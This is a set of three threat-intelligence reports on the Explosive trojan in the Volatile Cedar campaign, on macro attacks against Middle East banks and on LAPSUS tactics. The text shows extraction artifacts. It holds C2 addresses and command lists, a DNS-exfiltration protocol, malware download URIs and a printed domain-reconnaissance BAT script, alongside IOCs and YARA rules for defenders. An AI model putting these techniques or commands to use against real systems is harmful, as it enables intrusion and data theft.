CONFIGURATION ENCODING Both the configuration and CC updating data use a custom ASCII encoding algorithm in which each plaintext character is transformed into its hex ASCII value equivalent and separated by a  sign.
For example, the configuration value: 504950464955574649564846495051 is decoded into the plaintext string: 212.179.180.123.
2015 Check Point Software Technologies Ltd. All rights reserved      10 The following Python code can be used to encode\decode the configuration strings: Figure 4 - Configuration parameter decoding COMMUNICATION ENCODING Starting from Version 2, CC network traffic is encoded using a custom algorithm.
To encode the data, the plaintext bytecode is reversed, base64 encoded, and reversed again.
Figure 5 - Communication encoding scheme COMMUNICATION Explosives communication algorithm is very complex and contains many, often unnecessary, branches and loops.
A hardcoded CC IP address in embedded in Explosives main module.
Explosive initially attempts to connect to this preset CC address.
If the CC server is nonresponsive, the hardcoded static updater server is contacted to obtain an updated CC address.
If the static updater is also nonresponsive, a custom DGA algorithm is used to produce a dynamic updater domain name, which is a secondary CC updater server.
This server has the same functionality as the static server, with the exception of its operating URI.
The only DGA initial value we observed in our obtained samples was redotntexplore.
2015 Check Point Software Technologies Ltd. All rights reserved      11 Figure 6 - Explosive CC Communication Schema CC COMMUNICATION The CC communication is performed using raw TCP sockets and encoded1 using the previously mentioned communication encoding scheme.
Once the Explosive module successfully initiates communication with its CC server, it sends an authentication password and additional data identifying the infected target.
Figure 7 - Initial CC Request (Encoded) 1.
With the exception of Explosive version 1 which does not encode its CC traffic.
2015 Check Point Software Technologies Ltd. All rights reserved      12 Figure 8  Initial CC Request (Decoded) As seen in Figure 8, the initial CC request contains the following information: Parameter Description Password A fixed (encoded) password field.
This value remains the same for all analyzed Explosive versions.
The decoded password value is:  1Q2W3E4r1 Identifier A value identifying the specific Explosive version and port.
Client External IP The IP of the gateway connecting this IP to the Internet.
This value is extracted from a query to whatismyip2.somee.com or api.externalip.
net that takes place just before the initial CC communication.
If both of the what-is-my-ip services are not available, a custom service with similar functionality located at the CC server over TCP/8084 is connected.
If all queries fail, this value is set to 0.0.0.0 (or local IP in some versions) Username\PID The current logged in username and process ID.
Hostname The infected host name.
System Name The running OS, retrieved from the systeminfo CLI command output.
Installation path Current executable full path and file name.
Table 7 - Information sent during initial CC communication Next, the CC server responds with a confirmation message, followed by an optional list of commands for the Explosive module.
The confirmation message always starts with the encoded string connectok.
Figure 9 - CC connectok Response 2015 Check Point Software Technologies Ltd. All rights reserved      13 Listed below are a subset of Explosive CC commands and their description (for the complete list, please see Appendix E) : DecodedCCCommand Description DumpHist Dump IE history.
DumpPass Dump saved passwords.
GetRegValue Get a specified registry value.
ListProcess List all running processes.
RunCmd Run a specified command line.
GetFile Send a specific file to the CC server.
UnZip Decompress a specified file to folder.
DeleteFiles Delete specified files.
GetDrivesFolder Get the content of a specific folder.
KILL Kill Explosive process.
RERUN Restart Explosive process.
DEL Kill Explosive process and remove all traces.
Table 8  Subset of Explosive CC commands As both the Explosive CC requests and responses use raw TCP sockets and start with the same static message delimiter parameter, traffic containing the TCP payload starting with the string gKg5XIBmK can be used as a network indicator for Explosive CC communication.
STATIC\DYNAMIC UPDATERS The staticupdater is installed on a single web server, and its URL is hardcoded into the Explosive configuration section.
To disguise the server, the servers default (root) web page is a ripped HTML page from a random Internet site with all links and functionality redi- recting to the original site.
Once the Explosive client generates a GET request to a specific URI, a custom HTTP response is returned with a unique identifier, and the IP address and port of the new CC server.
Figure 10 - Static CC Updater Request As opposed to the static updater, the dynamicupdaterdoes not contain a hardcoded address value in the configuration section.
Instead, it uses an initial value as an input argument for a custom DGA algorithm to produce the server address.
The same routine used by the static updater for updating the CC data is used on each DGA algorithm result until a verified answer is received.
Once this occurs, the DGA algorithm terminates and the current updater is set as the new static updater server.
The resulting address from the DGA algorithm can be one of 170 possible permutations of the initial value.
2015 Check Point Software Technologies Ltd. All rights reserved      14 Figure 11 - Dynamic CC updater DGA algorithm Several indicators can be used to identify all Explosive HTTP communications: 1.
The same user agent value is used in all HTTP requests.
This user agent is hardcoded into the Explosive DLL binaries, and does not seem to be valid or used by any legitimate application.
Mozilla/4.0 (compatible MSIE 7.0 MSIE 6.0 Windows NT 5.1 .NET CLR 2.0.50727) 2.
All GET requests are made to a URI starting with an uncommon double slash value.
GET //v2/443/index.php?win4 CONNECTIVITY CHECKS Connectivity checks are made at several stages of the malware communication algorithm.
Explosive attempts to connect to several well-known sites to verify if the infected host is connected to the Internet.
For reasons not yet fully understood, the results of these checks are completely disregarded, and the communication algorithm continues normally regardless.
The list of sites checked for connectivity is slightly different in various versions of Explosive.
The latest version contains the following sites: microsoft.com maktoob.yahoo.com bing.com google.com 2015 Check Point Software Technologies Ltd. All rights reserved      15 APPENDIX A  MICRO Micro is a rare Explosive version.
It can best be described as a completely different version of the Trojan, with similarities to the rest of Explosive family (such as configuration and code base).
We believe that Micro is actually an old ancestor of Explosive, from which all other versions were developed.
As in other versions, this version is also dependent on a self-developed DLL named wnhelp.dll.
Micro shares the same DGA algorithm as the other versions of Explosive and therefore has the same dynamic update server infra- structure.
This version, however, uses the dynamic server infrastructure as its CC server it connects to a dedicated URI and uses different PHP parameters.
http://exloreredotnt.info/micro/data/index.php?micro4 Table 9  Example of a Micro version URL Micro has a small configuration (also stored encoded) which uses the same encoding scheme and is located at the binary file overlay.
Table 10 - Micro version configuration values CC commands are sent via the PHP page.
The Micro process parses these commands and runs the appropriate function.
A file named prdata.sys contains information about the infected host such as the MAC address, computer name and user name.
Another file sdata.sys, located in the same folder, contains the last CC server active path.
Both of these files are stored encoded.
Micro also creates two other temporary files, systmp.dat and systmp2.dat, in the temp folder.
Micro uses the same hardcoded User-Agent value as the other versions, and uses the same command line arguments -i and -d to install as service and kill the malware, respectively.
APPENDIX B  REMOVABLE MEDIA INFECTION Explosive has integrated functionality to enable USB and other mass storage device infection.
The functionality can be enabled or disabled by setting the DLD-USI flag in the configuration section.
When enabled, an additional configuration option, DLD-USA, dictates the specific infection method.
The possible infection methods are: Autorun.exe  Explosive copies itself into the USB root directory and changes the filename to autorun.exe.
Autorun.inf This is the same as the autorun.exe option, but with an additional autorun.inf file copied into the same directory.
EXEinfection Explosive scans all .exe files located in the USB drive, looking for previous infections.
Previous infections are located by using the Exported PathProcess function from the Explosive DLL.
If no previous infections were found, Explosive copies each .exe file into the systems temporary folder (temp) and adds both the Explosive EXE and DLL files to its binary data To extract the injected files, a Loader binary is then injected into the files binary.
This Loader is set to be the main executable module.
Once the injected file is executed, the Loader code is used to extract the Explosive files and resume the functionality of the original file.
After the infection is complete, all infected files are returned to the USB drive and overwrite the original file.
A special string  is used by the Loader to parse and run the executable file.
AllUsesallofthelistedoptions.
2015 Check Point Software Technologies Ltd. All rights reserved      16 APPENDIX C  INDICATORS OF COMPROMISE HostBasedIOCs ServiceNames Explosive can be installed with the following service names.
The service is usually installed with no description value.
Possible ExplosiveServiceNames Helper WindowsHelper VMWareActivationHelper WindowsInet WindowsHelpService WindowsHelpServices WindowsInetService MicrosoftIserv MicrosoftServices MicrosoftSystemClock MainModuleFilenames These are the possible main Explosive modules filenames: PossibleMainModuleFilenames aqagent.exe vsmss.exe qsagent.exe w3wp.exe cvsc.exe whelp.exe dllhost.exe whttpd.exe dllvhost.exe winet.exe dwcm.exe winhelp.exe embedded.exe winhlp.exe ieservice.exe winhttpd.exe logsys.exe wininet.exe nsp.exe winlog.exe rundll32.exe winscr.exe sccsc.exe winscrv.exe svchost.exe winserv.exe svsc.exe wisrv.exe svskey.exe wnhelp.exe syslog.exe wnsys.exe syswin.exe wshelp.exe updater.exe wvsys.exe vmacthlpsrv.exe whelp.exe vmtools.exe whttpd.exe vmtoolsd.exe DLLFilenames These are the possible Explosive DLL filenames and the versions in which they appear: PossibleDLLfilenames Explosive Version vsystem.dll Version 3 winsec.dll Version 2 tools.dll Version 1 serverhelp.dll KS version wnhelp.dll Micro version 2015 Check Point Software Technologies Ltd. All rights reserved      17 InstallationPaths Explosive variants are installed and run under the following paths: PossibleWorkingPaths systemroot systemroot\system32 systemroot\SysWOW64 appdata programfiles\VMware\VMware Tools programfiles\VMWare\VMware Tools\win32 programfiles\Notepad AdditionalPaths During its operation, Explosive uses several other files and directories for various tasks such as storing keylog data and other informa- tion extracted from the victims system.
The existence of these files and paths in a system can be used as an indicator of compromise.
These files and paths are most commonly set with system and hidden attributes.
Filename\Path systemroot\Microsoft Help\Secure systemroot\Microsoft Help\Secure\[username].tp.dat systemroot\Microsoft Help\Secure\[username].tc.dat systemroot\Microsoft Help\Secure\wintp\ systemroot\Microsoft Help\Secure\wintc\ systemroot\Microsoft Help\Secure\wintp\[username]-[date.time].dat systemroot\Microsoft Help\Secure\wintc\[username]-[date.time].dat c:\recycler\Microsoft Help\Secure c:\recycler\Microsoft Help\Secure\[username].tp.dat c:\recycler\Microsoft Help\Secure\[username].tc.dat c:\recycler\Microsoft Help\Secure\wintp\ c:\recycler\Microsoft Help\Secure\wintc\ c:\recycler\Microsoft Help\Secure\wintp\[username]-[date.time].dat c:\recycler\Microsoft Help\Secure\wintc\[username]-[date.time].dat [CurrentRunningFolder]\[username]-rpt.sys [CurrentRunningFolder]\[username]-crpt.sys [CurrentRunningFolder]\winrpt [CurrentRunningFolder]\wincrpt [CurrentRunningFolder]\winrpt\[username]-[date.time].sys [CurrentRunningFolder]\wincrpt\[username]-[date.time].sys 2015 Check Point Software Technologies Ltd. All rights reserved      18 NetworkBasedIOCs CCUpdaterPaths Several URIs are used by both the dynamic and static CC update servers.
These are the observed values: PossibleCCUpdaterURIs /ex/ie.php /v2/p5/80/index.php /445/ie.php /v2/p5/443/index.php /microsoft/ie.php /v2/p5/445/index.php /microsoft/index.php /v2/p3/80/index.php /80/index.php /v2/p3/443/index.php /443/index.php /v2/p3/445/index.php /445/index.php /v3/80/index.php /v2/443/index.php /v3/443/index.php /v2/445.index.php /v3/445/index.php CCTCPValues The detection of the following strings at the beginning of the TCP payload indicates a connection with the Explosive CC server: TCPPayloadStartsWith Version gKg5XIBmK Version 2 and 3 (communication to and from the CC server) QWE4 Version 1 (communication to the CC server) Explosive Version 1 (communication to the CC server) HTTPValues The CC static and dynamic updaters both use HTTP for communication.
While some of the following indicators are more common than others, they can all be used to detect Explosive CC update communication: HTTP Field Value User Agent Mozilla/4.0 (compatible MSIE 7.0 MSIE 6.0 Windows NT 5.1 .NET CLR 2.0.50727) URL Contains php?win1 URL Contains php?win4 URL Contains Php?micro ServerInfrastructure CCServers These CC server addresses are hardcoded in the various Explosive binaries: IPAddress GeographicalLocation 69.64.90.94 USA 50.60.129.74 USA 85.25.20.27 Germany 213.204.122.130 Lebanon 213.204.122.133 Lebanon 184.107.97.188 Canada 69.94.157.80 USA 2015 Check Point Software Technologies Ltd. All rights reserved      19 StaticandDynamicCCUpdaterServers These domain names are used by the static CC updater servers: IPAddress RegisteredInfo saveweb.wink.ws GoDaddy carima2012.site90.com GoDaddy explorerdotnt.info N/A dotnetexplorer.info Cloud Group Limited dotntexplorere.info Fastdomain inc.
xploreredotnet.info N/A erdotntexplore.info Fastdomain inc.
SSHServerList These IP addresses were detected as PLink servers used by the attacker for the SSH tunnel destinations: IPAddress GeoLocation 69.94.157.80 USA 50.60.129.78 USA APPENDIX D  SCRIPTS AND SIGNATURES DynamicCCUpdaterDGAAlgorithm The following Python script can be used to generate the results of the dynamic CC updater DGA algorithm: These YARA signatures can be used to detect all versions of Explosive EXE and DLL files: rule explosive_exe  meta: author  Check Point Software Technologies Inc. info  Explosive EXE strings: MZ  MZ DLD_S  DLD-S: DLD_E  DLD-E: condition: MZ at 0 and all of them  2015 Check Point Software Technologies Ltd. All rights reserved      20 import pe rule explosive_dll  meta: author  Check Point Software Technologies Inc. info  Explosive DLL condition: pe.
DLL and ( pe.exports(PathProcess) or pe.exports(_PathProcess4) ) and pe.exports(CON)  APPENDIX E  OTHER INFORMATION CompleteListofCCCommands: The following is a complete list of the available CC commands: EncodedCommand DecodedCommand Description gKg5XIBmKqwUazRHUy92YlN3c ListProcess List all running processes.
gKg5XIBmKqsUasxGUy92YlN3c KillProcess Kill a specified process.
gKg5XIBmKqIVduNUbkpCf RunCmd Run a specified command line.
gKg5XIBmKgKF5WdttUZ5NnK EnumKeys Get the registry keys under a specified path.
gKg5XIBmKoSRuVXbS92b0tUZ5NnK EnumRootKeys Get root registry keys.
gKg5XIBmKgKHVGdSV2ZWFGb1VmK GetRegValue Get a specified registry value.
gKg5XIBmKqQVZs5WZ0pCP Telnet Connect remotely.
gKg5XIBmKqEEZkRUaypCP AddDir Create a specified directory.
gKg5XIBmKqQUZsRUaypCP DelDir Delete a specified directory.
gKg5XIBmKgKHVGdEJXa2V2cG9GbkVmc GetDrivesFolder Get the content of a specific folder.
gKg5XIBmKqcUZ0RkcpZXZzpCP GetDrives Get the drive list.
gKg5XIBmKqcUZ0ZUasVmK GetFile Send a specific file to CC server.
gKg5XIBmKoyUjNFavRnK ScShot Get a screenshot.
gKg5XIBmKgKEVXbwBVYzNnK DumpPass Dump saved passwords.
gKg5XIBmKgKEVXbwhUazRnK DumpHist Dump IE history.
gKg5XIBmKoySllHTvdmK KeyLog Get latest key logging file content.
gKg5XIBmKoyQslGci9WYyRGTvdmK ClipboardLog Get latest clipboard logging file content.
gKg5XIBmKgKF5WdtdVauR2b3NnK EnumWindows List open windows.
gKg5XIBmKoCRlxWZ0VmRpxWZzpCP DeleteFiles Delete specified files.
gKg5XIBmKoyQvBXeQF2c0VmRpxWZzpCP CopyPasteFiles Copy and paste specified files.
gKg5XIBmKgKDVHdQF2c0VmRpxWZzpCP CutPasteFiles Cut and paste specified files.
gKg5XIBmKqoVawpCP Zip Compress a specified file.
gKg5XIBmKoSVupVawpCP UnZip Decompress a specified file to folder.
gKg5XIBmKqwUazRHUy92YlN3c ListProcess List all running processes.
gKg5XIBmKq8Ecl5GUGpyW OpenPF Open a specified file.
gKg5XIBmKgKqMEbvNXZGlGblpiK CloseFile Close a specified file.
gKg5XIBmKoiRpxWZTVmbkpCP FileSend Send a specified file.
gKg5XIBmKwTIqIVRSVlTqEiP RERUN Restart Explosive process.
2015 Check Point Software Technologies Ltd. All rights reserved      21 gKg5XIBmKAPhoySJxETqEiP KILL Kill Explosive process.
gKg5XIBmK8EiKEVETqEiP DEL Kill Explosive process and remove all traces.
gKg5XIBmK8oCYF9kRgpiP EOF End of transmitted file.
gKg5XIBmKwTlqaqEiP ok Confirm receipt of data.
Table 11 - Complete list of CC commands APPENDIX F  WEB SHELLS The web shells injected into the compromised web servers are mostly custom made.
They are written in various languages, such as ASP, ASP.Net and PHP.
These web shells contain many capabilities and have been seen to be heavily used by the attacker throughout the attack lifetime.
Some of the web-shells functionalities are: Runremotecommands Upload\Downloadfiles Accountbruteforcing RegistryAccess The most common web shell used by the attackers is the Caterpillar web shell (name taken from the web shell code) which is a variant of the AspxSpy web shell.
Other web shells have also been used in the Volatile Cedar campaign, such as the KIDO web shell.
These are the filenames and hashes of the detected web shells: FileName MD5Hash 404.asp 44db62acf787be73dcf8968d360f32b8 404.aspx 9f98eb473d3723f09d6a94cb326d4984 caterpillar.aspx dab2cbb34ec587587bdf0418f7fb06b1 Heblib140201.aspx d028eacd721e0b2d6e9ce19d2575d51b APPENDIX G  SAMPLE HASHES These sample hashes were seen during our analysis of the campaign: MD5Hash eb7042ad32f41c0e577b5b504c7558ea 44b5a3af895f31e22f6bc4eb66bd3eb7 08c988d6cebdd55f3b123f2d9d5507a6 61b11b9e6baae4f764722a808119ed0c c7ac6193245b76cc8cebc2835ee13532 184320a057e455555e3be22e67663722 5d437eb2a22ec8f37139788f2087d45d 1dcac3178a1b85d5179ce75eace04d10 9a5a99def615966ea05e3067057d6b37 2b9106e8df3aa98c3654a4e0733d83e7 ab3d0c748ced69557f78b7071879e50a c9a4317f1002fefcc7a250c3d76d4b01 4f8b989bc424a39649805b5b93318295 3f35c97e9e87472030b84ae1bc932ffc 7cd87c4976f1b34a0b060a23faddbd19 2015 Check Point Software Technologies Ltd. All rights reserved      22 ea53e618432ca0c823fafc06dc60b726 034e4c62965f8d5dd5d5a2ce34a53ba9 5ca3ac2949022e5c77335f7e228db1d8 306d243745ba53d09353b3b722d471b8 e6f874b7629b11a2f5ed3cc2c123f8b6 5b505d0286378efcca4df38ed4a26c90 7dbc46559efafe8ec8446b836129598c 1d4b0fc476b7d20f1ef590bcaa78dc5d 66e2adf710261e925db588b5fac98ad8 c898aed0ab4173cc3ac7d4849d06e7fa 22872f40f5aad3354bbf641fe90f2fd6 c19e91a91a2fa55e869c42a70da9a506 740c47c663f5205365ae9fb08adfb127 edaca6fb1896a120237b2ce13f6bc3e6 d2074d6273f41c34e8ba370aa9af46ad 6f11a67803e1299a22c77c8e24072b82 7031426fb851e93965a72902842b7c2c 981234d969a4c5e6edea50df009efedd 2783cee3aac144175fef308fc768ea63 f58f03121eed899290ed70f4d19af307 96b1221ba725f1aaeaaa63f63cf04092 29eca6286a01c0b684f7d5f0bfe0c0e6 826b772c81f41505f96fc18e666b1acd APPENDIX H  CHECK POINT DETECTION NAMES Name Trojan.
Win32.Explosive Trojan.
Win32.Explosive.
A Trojan.
Win32.Explosive.
B Trojan.
Win32.Explosive.
C ADDITIONAL INFORMATION The information in this report is based on partial visibility and evidence collected during our investigation.
The Volatile Cedar investigation is still ongoing.
We hope to release further information in upcoming reports.
If you suspect you were targeted by this campaign, or can share additional information on this campaign based on other meaningful observations please contact volatilecedarcheckpoint.com
5/23/2016 Targeted Attacks against Banks in the Middle East  Threat Research Blog  www.fireeye.com https://www.readability.com/articles/mtchcryk 1/14 fireeye.com Targeted Attacks against Banks in the Middle East Threat Research Blog May 22, 2016   5 min read   original Introduction In the first week of May 2016, FireEyes DTI identified a wave of emails containing malicious attachments being sent to multiple banks in the Middle East region.
The threat actors appear to be performing initial reconnaissance against would-be targets, and the attacks caught our attention since they were using unique scripts not commonly seen in crimeware campaigns.
In this blog we discuss in detail the tools, tactics, techniques and procedures (TTPs) used in these targeted attacks.
https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html https://www.fireeye.com/products/dynamic-threat-intelligence/dti-ati-atiplus-datasheet.html 5/23/2016 Targeted Attacks against Banks in the Middle East  Threat Research Blog  www.fireeye.com https://www.readability.com/articles/mtchcryk 2/14 Delivery Method The attackers sent multiple emails containing macro- enabled XLS files to employees working in the banking sector in the Middle East.
The themes of the messages used in the attacks are related to IT Infrastructure such as a log of Server Status Report or a list of Cisco Iron Port Appliance details.
In one case, the content of the email appeared to be a legitimate email conversation between several employees, even containing contact details of employees from several banks.
This email was then forwarded to several people, with the malicious Excel file attached.
Macro Details The macro first calls an Init() function (shown in Figure 1) that performs the following malicious activities: 1.
Extracts base64-encoded content from the cells within a worksheet titled Incompatible.
2.
Checks for the presence of a file at the path PUBLIC\Libraries\ update.vbs.
If the file is not present, the macro creates three different directories under PUBLIC\Libraries, namely up, dn, and tp.
5/23/2016 Targeted Attacks against Banks in the Middle East  Threat Research Blog  www.fireeye.com https://www.readability.com/articles/mtchcryk 3/14 3.
The extracted content from step one is decoded using PowerShell and dropped into two different files: PUBLIC\Libraries\update.vbs and PUBLIC\Libraries\dns.ps1 4.
The macro then creates a scheduled task with name: GoogleUpdateTaskMachineUI, which executes update.vbs every three minutes.
Note: Due to the use of a hardcoded environment variable PUBLIC in the macro code, the macro will only run successfully on Windows Vista and subsequent versions of the operating system.
Figure 1: Macro Init() subroutine 5/23/2016 Targeted Attacks against Banks in the Middle East  Threat Research Blog  www.fireeye.com https://www.readability.com/articles/mtchcryk 4/14 Run-time Unhiding of Content One of the interesting techniques we observed in this attack was the display of additional content after the macro executed successfully.
This was done for the purpose of social engineering  specifically, to convince the victim that enabling the macro did in fact result in the unhiding of additional spreadsheet data.
Office documents containing malicious macros are commonly used in crimeware campaigns.
Because default Office settings typically require user action in order for macros to run, attackers may convince victims to enable risky macro code by telling them that the macro is required to view protected content.
In crimeware campaigns, we usually observe that no additional content is displayed after enabling the macros.
However, in this case, attackers took the extra step to actually hide and unhide worksheets when the macro is enabled to allay any suspicion.
A screenshot of the worksheet before and after running the macro is shown in Figure 2 and Figure 3, respectively.
5/23/2016 Targeted Attacks against Banks in the Middle East  Threat Research Blog  www.fireeye.com https://www.readability.com/articles/mtchcryk 5/14 Figure 2: Before unhiding of content Figure 3: After unhiding of content In the following code section, we can see that the subroutine ShowHideSheets() is called after the Init() subroutine executes completely: Private Sub Workbook_Open() Call Init Call ShowHideSheets End Sub 5/23/2016 Targeted Attacks against Banks in the Middle East  Threat Research Blog  www.fireeye.com https://www.readability.com/articles/mtchcryk 6/14 The code of subroutine ShowHideSheets(), which unhides the content after completion of malicious activities, is shown in Figure 4.
Figure 4: Macro used to unhide content at runtime First Stage Download After the macro successfully creates the scheduled task, the dropped VBScript, update.vbs (Figure 5), will be launched every three minutes.
This VBScript performs the following operations: 1.
Leverages PowerShell to download content from the URI hxxp://go0gIe[.
]com/sysupdate.aspx?
reqxxx\dwnmd and saves it in the directory PUBLIC\Libraries\dn.
5/23/2016 Targeted Attacks against Banks in the Middle East  Threat Research Blog  www.fireeye.com https://www.readability.com/articles/mtchcryk 7/14 2.
Uses PowerShell to download a BAT file from the URI hxxp://go0gIe[.
]com/sysupdate.aspx?
reqxxx\batmd and saves it in the directory PUBLIC\Libraries\dn.
3.
Executes the BAT file and stores the results in a file in the path PUBLIC\Libraries\up.
4.
Uploads this file to the server by sending an HTTP POST request to the URI hxxp://go0gIe[.
]com/sysupdate.aspx?
reqxxx\uplmu.
5.
Finally, it executes the PowerShell script dns.ps1, which is used for the purpose of data exfiltration using DNS.
Figure 5: Content of update.vbs During our analysis, the VBScript downloaded a customized version of Mimikatz in the previously mentioned step one.
The customized version uses its 5/23/2016 Targeted Attacks against Banks in the Middle East  Threat Research Blog  www.fireeye.com https://www.readability.com/articles/mtchcryk 8/14 own default prompt string as well as its own console title, as shown in Figure 6.
Figure 6: Custom version of Mimikatz used to extract user password hashes Similarly, the contents of the BAT file downloaded in step two are shown in Figure 7: whoami  hostname  ipconfig /all  net user /domain 21  net group /domain 21  net group domain admins /domain 21  net group Exchange Trusted Subsystem /domain 21  net accounts /domain 21  net user 21  net localgroup administrators 21  netstat -an 21 tasklist 21  sc query 21  systeminfo 21  reg 5/23/2016 Targeted Attacks against Banks in the Middle East  Threat Research Blog  www.fireeye.com https://www.readability.com/articles/mtchcryk 9/14 query HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default 21 Figure 7: Content of downloaded BAT script This BAT file is used to collect important information from the system, including the currently logged on user, the hostname, network configuration data, user and group accounts, local and domain administrator accounts, running processes, and other data.
Data Exfiltration over DNS Another interesting technique leveraged by this malware was the use of DNS queries as a data exfiltration channel.
This was likely done because DNS is required for normal network operations.
The DNS protocol is unlikely to be blocked (allowing free communications out of the network) and its use is unlikely to raise suspicion among network defenders.
The script dns.ps1, dropped by the macro, is used for this purpose.
In the following section, we describe its functionality in detail.
5/23/2016 Targeted Attacks against Banks in the Middle East  Threat Research Blog  www.fireeye.com https://www.readability.com/articles/mtchcryk 10/14 1.
The script requests an ID (through the DNS protocol) from go0gIe[.
]com.
This ID will then be saved into the PowerShell script.
2.
Next, the script queries the C2 server for additional instructions.
If no further actions are requested, the script exits and will be activated again the next time update.vbs is called.
3.
If an action is required, the DNS server replies with an IP with the pattern 33.33.xx.yy.
The script then proceeds to create a file at PUBLIC\Libraries\tp\chr(xx)chr(yy).bat.
The script then proceeds to make DNS requests to fetch more data.
Each DNS request results in the C2 server returning an IP address.
Each octet of the IP address is interpreted as the decimal representation of an ASCII character for example, the decimal number 99 is equivalent to the ASCII character c. The characters represented by the octets of the IP address are appended to the batch file to construct a script.
The C2 server signals the end of the data stream by replying to a DNS query with the IP address 35.35.35.35.
4.
Once the file has been successfully transferred, the BAT file will be run and its output saved as PUBLIC\Libraries\tp\chr(xx)chr(yy).txt.
5.
The text file containing the results of the BAT 5/23/2016 Targeted Attacks against Banks in the Middle East  Threat Research Blog  www.fireeye.com https://www.readability.com/articles/mtchcryk 11/14 script will then be uploaded to the DNS server by embedding file data into part of the subdomain.
The format of the DNS query used is shown in Table 1.
6.
The BAT file and the text file will then be deleted.
The script then quits, to be invoked again upon running the next scheduled task.
The DNS communication portion of the script is shown in Figure 8, along with a table showing the various subdomain formats being generated by the script.
Figure 8: Code Snippet of dns.ps1 5/23/2016 Targeted Attacks against Banks in the Middle East  Threat Research Blog  www.fireeye.com https://www.readability.com/articles/mtchcryk 12/14 Format of subdomains used in DNS C2 protocol: 5/23/2016 Targeted Attacks against Banks in the Middle East  Threat Research Blog  www.fireeye.com https://www.readability.com/articles/mtchcryk 13/14 Subdomain used to request for BotID, used in step 2 above [00][botid]00000[base36 random number]30 Subdomain used while performing file transfers used in step 3 above [00] [botid]00000[base36 random number]232A[hex_filename] [i-counter] Subdomain used while performing file upload, used in step 5 above [00][botid][cmdid][partid][base36 random number][48- hex-char-of-file-content] Table 1: C2 Protocol Format Conclusion Although this attack did not leverage any zero-days or other advanced techniques, it was interesting to see how attackers used different components to perform reconnaissance activities on a specific target.
This attack also demonstrates that macro malware is effective even today.
Users can protect themselves from such attacks by disabling Office macros in their 5/23/2016 Targeted Attacks against Banks in the Middle East  Threat Research Blog  www.fireeye.com https://www.readability.com/articles/mtchcryk 14/14 settings and also by being more vigilant when enabling macros (especially when prompted) in documents, even if such documents are from seemingly trusted sources.
Original URL: https://www.fireeye.com/blog/threat-research/2016/05/targeted_attacksaga.html
1/5 April 28, 2022 LAPSUS: Recent techniques, tactics and procedures research.nccgroup.com/2022/04/28/lapsus-recent-techniques-tactics-and-procedures Authored by: David Brown, Michael Matthews and Rob Smallridge tldr This post describes the techniques, tactics and procedures we observed during recent LAPSUS incidents.
Our findings can be summarised as below: Access and scraping of corporate Microsoft SharePoint sites in order to identify any credentials which may be stored in technical documentation.
Access to local password managers and databases to obtain further credentials and escalate privileges.
Living of the land  tools such as RVTools to shut down servers and ADExplorer to perform reconnaissance.
Cloning of git repositories and extraction of sensitive API Keys.
Using compromised credentials to access corporate VPNs.
Disruption or destruction to victim infrastructure to hinder analysis and consume defensive resource.
Summary LAPSUS first appeared publicly in December 2021, however, NCC Group first observed LAPSUS months prior during an incident response engagement.
We believe the group has also operated prior to this date, though perhaps not under the LAPSUS banner.
Over the last 5 months, LAPSUS has gained large notoriety with some successful breaches of some large enterprises including, Microsoft, Nvidia, Okta  Samsung.
Little is still known about this group with motivations appearing to be for reputation, money and for the lulz.
Notifications or responsibility of victims by LAPSUS are commonly reported via their telegram channel and in one case a victims DNS records were reconfigured to LAPSUS controlled domains/websites.
However, not all victims or breaches appear to actively be announced via their telegram channel, nor are some victims approached with a ransom.
This distinguishes themselves from more traditional ransomware groups who have a clear modus operandi and are clearly financially focused.
The result of this is that LAPSUS are less predictable which may be why they have seen recent success.
https://research.nccgroup.com/2022/04/28/lapsus-recent-techniques-tactics-and-procedures/ 2/5 This serves as a reminder for defenders for defence in depth and the need to anticipate different tactics that threat actors may use.
It is also worth mentioning the brazen behaviour of this threat actor and their emboldened attempts at Social Engineering by offering payment for insiders to provide valid credentials.
This tactic is potentially in response to greater home working due to the pandemic which means there is a far larger proportion of employees with VPN access and as such a greater pool of potential employees willing to sell their credentials.
To combat this, organisations need to ensure they have extensive VPN logging capabilities, robust helpdesk ticketing as well as methods to help identify anomalies in VPN access.
It is notable that the majority of LAPSUS actions exploit the human element as opposed to technical deficiencies or vulnerabilities.
Although potentially viewed as unsophisticated or basic these techniques have been successful, so it is vital that organisations factor in controls and mitigations to address them.
Initial access Threat Intelligence shows that LAPSUS utilise multiple methods to gain Initial access.
The main source of initial access is believed to occur via stolen authentication cookies which would grant the attacker access to a specific application.
These cookies are usually in the form of Single sign-on (SSO) applications which would allow the attacker to pivot into other corporate applications ultimately bypassing controls such as multi-factor authentication (MFA).
Credential access and Privilege escalation Credential Harvesting and privileged escalation are key components of the LAPSUS breaches we have seen, with rapid escalation in privileges the LAPSUS group have been seen to elevate from a standard user account to an administrative user within a couple of days.
In the investigations conducted by NCC Group, little to no malware is used.
In one case NCC Group observed LAPSUS using nothing more than the legitimate Sysinternals tool ADExplorer, which was used to conduct reconnaissance on the victims environment.
Access to corporate VPNs is a primary focus for this group as it allows the threat actor to directly access key infrastructure which they require to complete their objectives.
In our incident response cases, we saw the threat actor leveraging compromised employee email accounts to email helpdesk systems requesting access credentials or support to get access to the corporate VPN.
3/5 Lateral Movement In one incident LAPSUS were observed to sporadically move through the victim environment via RDP in an attempt to access resources deeper in the victim environment.
In some instances, victim controlled hostnames were revealed including the host VULTR- GUEST which refers to infrastructure hosted on the private cloud service, Vultr .
Exfiltration LAPSUSs action on objectives appears to focus on data exfiltration of sensitive information as well as destruction or disruption.
In one particular incident the threat actor is observed to utilise the free file drop service filetransfer[.
]io.
Impact NCC Group has observed disruption and destruction to client environments by LAPSUS such as shutting down virtual machines from within on-premises VMware ESXi infrastructure, to the extreme of mass deletion of virtual machines, storage, and configurations in cloud environments making it harder for the victim to recover and for the investigation team to conduct their analysis activities.
The theft of data reported appears to heavily be focused on application source code or proprietary technical information.
With a targeting of internal source code management or repository servers.
These git repositories can contain not only commercially sensitive intellectual property, but also in some cases may include additional API keys to sensitive applications including administrative or cloud applications.
Recommendations Ensure that Cloud computing environments have sufficient logging enabled.
Ensure that cloud administrative access is configured to prevent unauthorised access to resources and that API keys are not overly permissive to the permissions they require.
Utilise MFA for user authentication on both cloud and remote access solutions to help reduce the risk of unauthorised access.
Ensure logging is in place to record MFA device enrolment Security controls such as Conditional Access can help restrict or prevent unauthorised access based on criteria such as geographical location.
Implement activities to detect and investigate anomalies in VPN access.
Ensure a system is in place to record all helpdesk queries.
Avoid using SMS as an MFA vector to avoid the risk of SIM swapping.
